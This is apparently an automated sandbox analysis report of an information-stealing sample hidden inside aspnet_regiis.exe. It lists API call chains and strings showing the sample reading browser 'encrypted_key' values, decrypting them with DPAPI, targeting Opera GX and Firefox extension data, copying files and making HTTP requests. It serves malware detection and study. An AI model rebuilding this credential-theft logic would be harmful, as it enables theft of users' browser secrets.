Associated: 00000003.00000002.3371829647.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_aspnet_regiis.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$Filelstrcat$CopyDeleteSystemTime
String ID:
API String ID: 211194620-0
Opcode ID: 9e3b5aa9e4815655d37b580d824bd8f900de3d495d383a8751fe16bf523792ad
Instruction ID: f50e13fd7eda3401684194e3b4178dcbc35dad14aaafdb4021fb065c0cc55dd5
Opcode Fuzzy Hash: 9e3b5aa9e4815655d37b580d824bd8f900de3d495d383a8751fe16bf523792ad
Instruction Fuzzy Hash: 6F714072A00119ABCF01FFA5EE468CD7775EF14309F104036F500B71A2DBB9AE898B99

Function 0040D40E Relevance: 6.1, APIs: 2, Strings: 2, Instructions: 125stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00410519: lstrcpyA.KERNEL32(00000000,?,?,00401D07,?,00417621), ref: 00410538

Part of subcall function 00407FAC: CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000,00000000,?,?,?,?,0040E756,?,?,?), ref: 00407FC7
Part of subcall function 00407FAC: GetFileSizeEx.KERNEL32(00000000,?,?,?,?,?,0040E756,?,?,?), ref: 00407FDE
Part of subcall function 00407FAC: LocalAlloc.KERNEL32(00000040,?,?,?,?,?,0040E756,?,?,?), ref: 00407FF5
Part of subcall function 00407FAC: ReadFile.KERNEL32(?,00000000,?,?,00000000,?,?,?,?,0040E756,?,?,?), ref: 0040800C
Part of subcall function 00407FAC: CloseHandle.KERNEL32(?,?,?,?,?,0040E756,?,?,?), ref: 00408034

Part of subcall function 00411E1F: LocalAlloc.KERNEL32(00000040,00000001,?,?,?,00416931,?), ref: 00411E37

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,0041707B,004366CD,?,?,?,?,0041858F), ref: 0041050D

Part of subcall function 00410609: lstrlenA.KERNEL32(?,00000000,?,?,?,?,0041709C,00436C18,00000000,004366CD,?,?,?,?,0041858F), ref: 0041061D
Part of subcall function 00410609: lstrcpyA.KERNEL32(00000000,?,?,?,?,?,0041709C,00436C18,00000000,004366CD,?,?,?,?,0041858F), ref: 00410645
Part of subcall function 00410609: lstrcatA.KERNEL32(?,00000000,?,?,?,?,0041709C,00436C18,00000000,004366CD,?,?,?,?,0041858F), ref: 00410650

Part of subcall function 0041058D: lstrcpyA.KERNEL32(00000000,?,00000000,004170BA,00436C18,00000000,004366CD,?,?,?,?,0041858F), ref: 004105BD

Part of subcall function 004105C7: lstrcpyA.KERNEL32(00000000,?,0000000C,004175E9,004366DA), ref: 004105F5
Part of subcall function 004105C7: lstrcatA.KERNEL32(?,?), ref: 004105FF

StrStrA.SHLWAPI(00000000,?,00437538,0043688A), ref: 0040D49F
lstrlenA.KERNEL32(?), ref: 0040D4B2

Strings

^userContextId=4294967295, xrefs: 0040D4D7
moz-extension+++, xrefs: 0040D4DD

Memory Dump Source

Source File: 00000003.00000002.3371829647.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3371829647.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_aspnet_regiis.jbxd

Yara matches

Similarity

API ID: lstrcpy$File$AllocLocallstrcatlstrlen$CloseCreateHandleReadSize
String ID: ^userContextId=4294967295$moz-extension+++
API String ID: 161838763-3310892237
Opcode ID: 6aa37cb2f67db944989395a71283edee486ac6c96c9a46fa9e3a19fa612f2b1c
Instruction ID: 85de75ec200c89e9111d7c6d064248f53d90c55406061a5cb20e0ca06024b096
Opcode Fuzzy Hash: 6aa37cb2f67db944989395a71283edee486ac6c96c9a46fa9e3a19fa612f2b1c
Instruction Fuzzy Hash: 15410B76A001199BCF10FBA6DD465CD77B5AF04308F51003AFD00B3192DBB8AE4D8AE9

Function 0040819F Relevance: 6.1, APIs: 1, Strings: 3, Instructions: 77COMMON

Download Yara Rule

APIs

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,0041707B,004366CD,?,?,?,?,0041858F), ref: 0041050D

Part of subcall function 00407FAC: CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000,00000000,?,?,?,?,0040E756,?,?,?), ref: 00407FC7
Part of subcall function 00407FAC: GetFileSizeEx.KERNEL32(00000000,?,?,?,?,?,0040E756,?,?,?), ref: 00407FDE
Part of subcall function 00407FAC: LocalAlloc.KERNEL32(00000040,?,?,?,?,?,0040E756,?,?,?), ref: 00407FF5
Part of subcall function 00407FAC: ReadFile.KERNEL32(?,00000000,?,?,00000000,?,?,?,?,0040E756,?,?,?), ref: 0040800C
Part of subcall function 00407FAC: CloseHandle.KERNEL32(?,?,?,?,?,0040E756,?,?,?), ref: 00408034

Part of subcall function 00411E1F: LocalAlloc.KERNEL32(00000040,00000001,?,?,?,00416931,?), ref: 00411E37

StrStrA.SHLWAPI(00000000,"encrypted_key":",?,?,?,?,?,?,0040CC90,?,?), ref: 004081E5

Part of subcall function 00408048: CryptStringToBinaryA.CRYPT32($g@,00000000,00000001,00000000,?,00000000,00000000), ref: 00408060
Part of subcall function 00408048: LocalAlloc.KERNEL32(00000040,?,?,?,00406724,?), ref: 0040806E
Part of subcall function 00408048: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,?,00000000,00000000), ref: 00408084
Part of subcall function 00408048: LocalFree.KERNEL32(?,?,?,00406724,?), ref: 00408093

Part of subcall function 004080A1: CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000000,0040823B), ref: 004080C4
Part of subcall function 004080A1: LocalAlloc.KERNEL32(00000040,0040823B,?,?,0040823B,0040CB95,?,?,?,?,?,?,?,0040CC90,?,?), ref: 004080D8
Part of subcall function 004080A1: LocalFree.KERNEL32(0040CB95,?,?,0040823B,0040CB95,?,?,?,?,?,?,?,0040CC90,?,?), ref: 004080FD

Strings

"encrypted_key":", xrefs: 004081DF
, xrefs: 00408241
DPAPI, xrefs: 0040821B

Memory Dump Source

Source File: 00000003.00000002.3371829647.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3371829647.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_aspnet_regiis.jbxd

Yara matches

Similarity

API ID: Local$Alloc$CryptFile$BinaryFreeString$CloseCreateDataHandleReadSizeUnprotectlstrcpy
String ID: $"encrypted_key":"$DPAPI
API String ID: 2311102621-738592651
Opcode ID: 90210c10ee996d7ab5569050e076cca1abac48211b6b88e599488f63d6b1df73
Instruction ID: d78dfd73ee8100a23edce15a91f2c70fa2f38e8288fa49592993377d3a11e596
Opcode Fuzzy Hash: 90210c10ee996d7ab5569050e076cca1abac48211b6b88e599488f63d6b1df73
Instruction Fuzzy Hash: 1121C232E40209ABDF14EB91DD41ADE7378AF41364F2045BFE950B72D1DF38AA49CA58

Function 00416330 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 101stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00411DBC: SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?,?,?), ref: 00411DFD

lstrcatA.KERNEL32(?,00000000,?,00000000,?), ref: 00416378
lstrcatA.KERNEL32(?), ref: 00416396

Part of subcall function 00415FD1: wsprintfA.USER32 ref: 00416018
Part of subcall function 00415FD1: FindFirstFileA.KERNEL32(?,?), ref: 0041602F
Part of subcall function 00415FD1: StrCmpCA.SHLWAPI(?,00436AB4), ref: 00416050
Part of subcall function 00415FD1: StrCmpCA.SHLWAPI(?,00436AB8), ref: 0041606A
Part of subcall function 00415FD1: wsprintfA.USER32 ref: 00416091
Part of subcall function 00415FD1: StrCmpCA.SHLWAPI(?,00436647), ref: 004160A5
Part of subcall function 00415FD1: wsprintfA.USER32 ref: 004160C2
Part of subcall function 00415FD1: PathMatchSpecA.SHLWAPI(?,?), ref: 004160EF
Part of subcall function 00415FD1: lstrcatA.KERNEL32(?), ref: 00416125
Part of subcall function 00415FD1: lstrcatA.KERNEL32(?,00436AD0), ref: 00416137
Part of subcall function 00415FD1: lstrcatA.KERNEL32(?,?), ref: 0041614A
Part of subcall function 00415FD1: lstrcatA.KERNEL32(?,00436AD4), ref: 0041615C
Part of subcall function 00415FD1: lstrcatA.KERNEL32(?,?), ref: 00416170

Part of subcall function 00415FD1: wsprintfA.USER32 ref: 004160D9
Part of subcall function 00415FD1: CopyFileA.KERNEL32(?,?,00000001), ref: 00416229
Part of subcall function 00415FD1: DeleteFileA.KERNEL32(?), ref: 0041629D
Part of subcall function 00415FD1: FindNextFileA.KERNEL32(?,?), ref: 004162FF
Part of subcall function 00415FD1: FindClose.KERNEL32(?), ref: 00416313

Strings

nzA, xrefs: 004164AE

Memory Dump Source

Source File: 00000003.00000002.3371829647.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3371829647.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_aspnet_regiis.jbxd

Yara matches

Similarity

API ID: lstrcat$Filewsprintf$Find$Path$CloseCopyDeleteFirstFolderMatchNextSpec
String ID: nzA
API String ID: 2104210347-1761861442
Opcode ID: b4da720962e9555cdd77b7fe306ab90caf7c41af40743b1f06eb89ecc5cf0673
Instruction ID: 6a45041e7e61eaec4ac0428956384e3812b0c56a5955d947ae57416d2cc1f0af
Opcode Fuzzy Hash: b4da720962e9555cdd77b7fe306ab90caf7c41af40743b1f06eb89ecc5cf0673
Instruction Fuzzy Hash: DD31F77280010DEFDF15EB60DC43EE8377AEB08314F5440AEF606932A1EA769B919F55

Function 0041683E Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 43COMMON

Download Yara Rule

APIs

Part of subcall function 00410519: lstrcpyA.KERNEL32(00000000,?,?,00401D07,?,00417621), ref: 00410538

Part of subcall function 00406963: InternetOpenA.WININET(?,00000001,00000000,00000000,00000000), ref: 004069C5
Part of subcall function 00406963: StrCmpCA.SHLWAPI(?), ref: 004069DF
Part of subcall function 00406963: InternetConnectA.WININET(?,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00406A0E
Part of subcall function 00406963: HttpOpenRequestA.WININET(?,GET,?,00000000,00000000,-00400100,00000000), ref: 00406A4D
Part of subcall function 00406963: InternetSetOptionA.WININET(00000000,0000001F,00010300,00000004), ref: 00406A7D
Part of subcall function 00406963: HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 00406A88
Part of subcall function 00406963: HttpQueryInfoA.WININET(00000000,00000013,?,?,00000000), ref: 00406AAC

StrCmpCA.SHLWAPI(?,ERROR), ref: 00416873

Strings

ERROR, xrefs: 00416896
ERROR, xrefs: 0041686B

Memory Dump Source

Source File: 00000003.00000002.3371829647.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3371829647.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_aspnet_regiis.jbxd

Yara matches

Similarity

API ID: HttpInternet$OpenRequest$ConnectInfoOptionQuerySendlstrcpy
String ID: ERROR$ERROR
API String ID: 3086566538-2579291623
Opcode ID: 1f04a280a058e3c99f689a2c33220ef0c6b47f7de1e09031bce4c6852948f489
Instruction ID: fa6cd13a443083575c3a824eeb1e5676c961334a8f4b47820412c2fdc9a040c1
Opcode Fuzzy Hash: 1f04a280a058e3c99f689a2c33220ef0c6b47f7de1e09031bce4c6852948f489
Instruction Fuzzy Hash: 6F014F75A00118ABCB20FB76D9469CD73A96F04308F55417BBC24E3293E7B8E9494AD9

Function 00416E97 Relevance: 4.6, APIs: 3, Instructions: 70sleepsynchronizationthreadCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(000003E8,?,?), ref: 00416EFE
CreateThread.KERNEL32(00000000,00000000,00416DC6,?,00000000,00000000), ref: 00416F36
WaitForSingleObject.KERNEL32(00000000,000003E8), ref: 00416F3E

Memory Dump Source

Source File: 00000003.00000002.3371829647.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3371829647.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_aspnet_regiis.jbxd

Yara matches

Similarity

API ID: CreateObjectSingleSleepThreadWait
String ID:
API String ID: 4198075804-0
Opcode ID: a1dc13e99dd204c5a3461b4ea6d28ee21b2c0be54f1f4843eeff7d6218642cdc
Instruction ID: 5b264aedade7dddb2649676fe5ff4aca135c6ea40ecc08e40dc523016e9b5da3
Opcode Fuzzy Hash: a1dc13e99dd204c5a3461b4ea6d28ee21b2c0be54f1f4843eeff7d6218642cdc
Instruction Fuzzy Hash: EC213B72900218ABCF14EF96E9459DE7BB9FF40358F11512BF904A3151D738EA86CF98

Function 00412446 Relevance: 4.5, APIs: 3, Instructions: 41fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(?,40000000,00000000,00000000,00000002,00000080,00000000,?,?,?,?,00414A8D), ref: 00412460
WriteFile.KERNEL32(00000000,00000000,00414A8D,00414A8D,00000000,?,?,?,00414A8D), ref: 00412487
CloseHandle.KERNEL32(00000000,?,?,?,00414A8D), ref: 0041249E

Memory Dump Source

Source File: 00000003.00000002.3371829647.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3371829647.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_aspnet_regiis.jbxd

Yara matches

Similarity

API ID: File$CloseCreateHandleWrite
String ID:
API String ID: 1065093856-0
Opcode ID: 618600667c8334e05266c7920bfcba6b014638909509334c775888355d968c7c
Instruction ID: a587d297adf89e60fa6946fdd7da6f666782c0f167f87b21f29bcfda1cd19bad
Opcode Fuzzy Hash: 618600667c8334e05266c7920bfcba6b014638909509334c775888355d968c7c
Instruction Fuzzy Hash: 84F02471200118BFEF01AFA4DD8AFEF379CDF053A8F000022F951D6190D3A58D9157A5

Function 6C793060 Relevance: 4.5, APIs: 3, Instructions: 36timeCOMMON

Download Yara Rule

APIs

?Startup@TimeStamp@mozilla@@SAXXZ.MOZGLUE ref: 6C793095

Part of subcall function 6C7935A0: InitializeCriticalSectionAndSpinCount.KERNEL32(6C81F688,00001000), ref: 6C7935D5
Part of subcall function 6C7935A0: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_TIMESTAMP_MODE), ref: 6C7935E0
Part of subcall function 6C7935A0: QueryPerformanceFrequency.KERNEL32(?), ref: 6C7935FD
Part of subcall function 6C7935A0: _strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,GenuntelineI,0000000C), ref: 6C79363F
Part of subcall function 6C7935A0: GetSystemTimeAdjustment.KERNEL32(?,?,?), ref: 6C79369F
Part of subcall function 6C7935A0: __aulldiv.LIBCMT ref: 6C7936E4

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C79309F

Part of subcall function 6C7B5B50: QueryPerformanceCounter.KERNEL32(?,?,?,?,6C7B56EE,?,00000001), ref: 6C7B5B85
Part of subcall function 6C7B5B50: EnterCriticalSection.KERNEL32(6C81F688,?,?,?,6C7B56EE,?,00000001), ref: 6C7B5B90
Part of subcall function 6C7B5B50: LeaveCriticalSection.KERNEL32(6C81F688,?,?,?,6C7B56EE,?,00000001), ref: 6C7B5BD8
Part of subcall function 6C7B5B50: GetTickCount64.KERNEL32 ref: 6C7B5BE4

?InitializeUptime@mozilla@@YAXXZ.MOZGLUE ref: 6C7930BE

Part of subcall function 6C7930F0: QueryUnbiasedInterruptTime.KERNEL32 ref: 6C793127
Part of subcall function 6C7930F0: __aulldiv.LIBCMT ref: 6C793140

Part of subcall function 6C7CAB2A: __onexit.LIBCMT ref: 6C7CAB30

Memory Dump Source

Source File: 00000003.00000002.3402785272.000000006C791000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C790000, based on PE: true

Associated: 00000003.00000002.3402710092.000000006C790000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.3402896622.000000006C80D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.3402949769.000000006C81E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.3402999327.000000006C822000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c790000_aspnet_regiis.jbxd

Similarity

API ID: Time$CriticalQuerySection$InitializePerformanceStamp@mozilla@@__aulldiv$AdjustmentCountCount64CounterEnterFrequencyInterruptLeaveNow@SpinStartup@SystemTickUnbiasedUptime@mozilla@@V12@___onexit_strnicmpgetenv
String ID:
API String ID: 4291168024-0
Opcode ID: 121ad497222ad1bbd0cea3e8e4e0f67320c821fef7417ceffcaa9dd7d6432249
Instruction ID: 2bc036f856198b45bcfcac470dd91f38975197bde8e80b84b264487478041588
Opcode Fuzzy Hash: 121ad497222ad1bbd0cea3e8e4e0f67320c821fef7417ceffcaa9dd7d6432249
Instruction Fuzzy Hash: A0F0D632E2074A96CA20DF3499861A673B4AF7B218F101329E85963A21FB2065D8C3C2

Function 00410C85 Relevance: 4.5, APIs: 3, Instructions: 22memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00401385), ref: 00410C91
HeapAlloc.KERNEL32(00000000,?,?,?,00401385), ref: 00410C98
GetComputerNameA.KERNEL32(00000000,00401385), ref: 00410CAC

Memory Dump Source

Source File: 00000003.00000002.3371829647.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3371829647.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_aspnet_regiis.jbxd

Yara matches

Similarity

API ID: Heap$AllocComputerNameProcess
String ID:
API String ID: 4203777966-0
Opcode ID: 223c93d772ac102104f3d80f3225d4df8625dfe3dc4c13cc38eb63403da552c2
Instruction ID: 4a48e0897f6a5e53a67cc5d7e0c14adbc6ce47083a4b6c26751418be0e4428b5
Opcode Fuzzy Hash: 223c93d772ac102104f3d80f3225d4df8625dfe3dc4c13cc38eb63403da552c2
Instruction Fuzzy Hash: 2DE08CB1200204BBD7449BD9AC8DF8A76BCDB84715F100226F605D6250EAB4C9848B68

Function 0040C95C Relevance: 3.8, APIs: 1, Strings: 1, Instructions: 286COMMON

Download Yara Rule

APIs

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,0041707B,004366CD,?,?,?,?,0041858F), ref: 0041050D

StrCmpCA.SHLWAPI(?,Opera GX,00436853,0043684B,?,?,?), ref: 0040C98F

Part of subcall function 00411DBC: SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?,?,?), ref: 00411DFD

Part of subcall function 004105C7: lstrcpyA.KERNEL32(00000000,?,0000000C,004175E9,004366DA), ref: 004105F5
Part of subcall function 004105C7: lstrcatA.KERNEL32(?,?), ref: 004105FF

Part of subcall function 0041058D: lstrcpyA.KERNEL32(00000000,?,00000000,004170BA,00436C18,00000000,004366CD,?,?,?,?,0041858F), ref: 004105BD

Part of subcall function 00410609: lstrlenA.KERNEL32(?,00000000,?,?,?,?,0041709C,00436C18,00000000,004366CD,?,?,?,?,0041858F), ref: 0041061D
Part of subcall function 00410609: lstrcpyA.KERNEL32(00000000,?,?,?,?,?,0041709C,00436C18,00000000,004366CD,?,?,?,?,0041858F), ref: 00410645
Part of subcall function 00410609: lstrcatA.KERNEL32(?,00000000,?,?,?,?,0041709C,00436C18,00000000,004366CD,?,?,?,?,0041858F), ref: 00410650

Part of subcall function 00410519: lstrcpyA.KERNEL32(00000000,?,?,00401D07,?,00417621), ref: 00410538

Part of subcall function 00411D92: GetFileAttributesA.KERNEL32(?,?,?,0040DA7F,?,?,?), ref: 00411D99

Part of subcall function 0040819F: StrStrA.SHLWAPI(00000000,"encrypted_key":",?,?,?,?,?,?,0040CC90,?,?), ref: 004081E5

Strings

Opera GX, xrefs: 0040C97F

Memory Dump Source

Source File: 00000003.00000002.3371829647.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3371829647.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_aspnet_regiis.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrcat$AttributesFileFolderPathlstrlen
String ID: Opera GX
API String ID: 1719890681-3280151751
Opcode ID: 60c01dc8b37e4b84b74df1fa8103c1199fcfef80998ad79c597a27a207442b16
Instruction ID: 2f838092edd703084741f82f1e37e62fc4a331bb811b3281c0e98dae42c078f1
Opcode Fuzzy Hash: 60c01dc8b37e4b84b74df1fa8103c1199fcfef80998ad79c597a27a207442b16
Instruction Fuzzy Hash: 3FB1FD7294011DABCF10FFA6DE425CD7775AF04308F51013AF904771A1DBB8AE8A8B99

Function 00407B0B Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 63memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNEL32(?,?,00000002,00000002,?,?,?,?,00407C56,?), ref: 00407B8A

Strings

, xrefs: 00407B5D

Memory Dump Source

Source File: 00000003.00000002.3371829647.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3371829647.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
